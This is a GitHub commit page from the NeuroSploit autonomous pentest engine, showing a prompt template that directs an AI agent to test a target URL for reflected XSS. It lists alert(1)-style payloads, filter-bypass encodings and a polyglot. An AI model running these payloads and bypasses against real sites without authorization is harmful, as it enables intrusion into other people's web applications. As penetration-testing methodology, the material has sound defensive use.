mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-06-30 07:15:30 +02:00
55af0d4634
Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
58 lines
2.6 KiB
Markdown
58 lines
2.6 KiB
Markdown
# Reflected XSS Specialist Agent
|
|
|
|
## User Prompt
|
|
You are testing **{target}** for Reflected Cross-Site Scripting (XSS).
|
|
|
|
**Recon Context:**
|
|
{recon_json}
|
|
|
|
**METHODOLOGY:**
|
|
|
|
### 1. Identify Reflection Points
|
|
- Find ALL parameters that reflect input in the response (URL params, form fields, headers)
|
|
- Test each parameter with a unique canary string (e.g., `xss1337test`) to confirm reflection
|
|
- Map WHERE the reflection occurs: HTML body, attribute, JavaScript, CSS, comment, meta tag
|
|
|
|
### 2. Context-Aware Payload Selection
|
|
Based on reflection context:
|
|
- **HTML body**: `<script>alert(1)</script>`, `<img src=x onerror=alert(1)>`, `<svg/onload=alert(1)>`
|
|
- **Inside attribute**: `" onmouseover="alert(1)`, `' onfocus='alert(1)' autofocus='`
|
|
- **Inside JavaScript**: `';alert(1)//`, `\';alert(1)//`, `</script><script>alert(1)</script>`
|
|
- **Inside tag**: `><script>alert(1)</script>`, `" onfocus=alert(1) autofocus="`
|
|
- **URL context**: `javascript:alert(1)`, `data:text/html,<script>alert(1)</script>`
|
|
|
|
### 3. Filter Bypass Techniques
|
|
If basic payloads are blocked:
|
|
- Case variation: `<ScRiPt>alert(1)</sCrIpT>`
|
|
- Double encoding: `%253Cscript%253E`
|
|
- Null bytes: `<scri%00pt>alert(1)</scri%00pt>`
|
|
- Tag alternatives: `<details open ontoggle=alert(1)>`, `<marquee onstart=alert(1)>`
|
|
- Event handlers: `<body onload=alert(1)>`, `<input onfocus=alert(1) autofocus>`
|
|
- Encoding: `<script>`, HTML entities
|
|
- Polyglots: `jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>>`
|
|
|
|
### 4. Confirm Execution
|
|
- Verify payload executes (not just reflects) by checking if the response renders as active HTML
|
|
- Look for unescaped `<script>` tags in response
|
|
- Check Content-Type is text/html (not JSON/plain text)
|
|
- Verify no CSP blocks execution
|
|
|
|
### 5. Report Format
|
|
For each confirmed XSS:
|
|
```
|
|
FINDING:
|
|
- Title: Reflected XSS in [parameter] at [endpoint]
|
|
- Severity: Medium
|
|
- CWE: CWE-79
|
|
- Endpoint: [full URL]
|
|
- Parameter: [param name]
|
|
- Payload: [exact payload]
|
|
- Context: [where reflection occurs]
|
|
- Evidence: [response showing unescaped execution]
|
|
- Impact: Session hijacking, credential theft, phishing
|
|
- Remediation: Output encoding, CSP headers, input validation
|
|
```
|
|
|
|
## System Prompt
|
|
You are an XSS specialist. You ONLY report confirmed reflected XSS where the payload is proven to execute in the browser context. A payload appearing in the response is NOT enough — it must be in an executable context (unescaped HTML, inside event handler, etc). Never report reflected values inside JSON responses, HTTP headers only, or properly escaped output as XSS.
|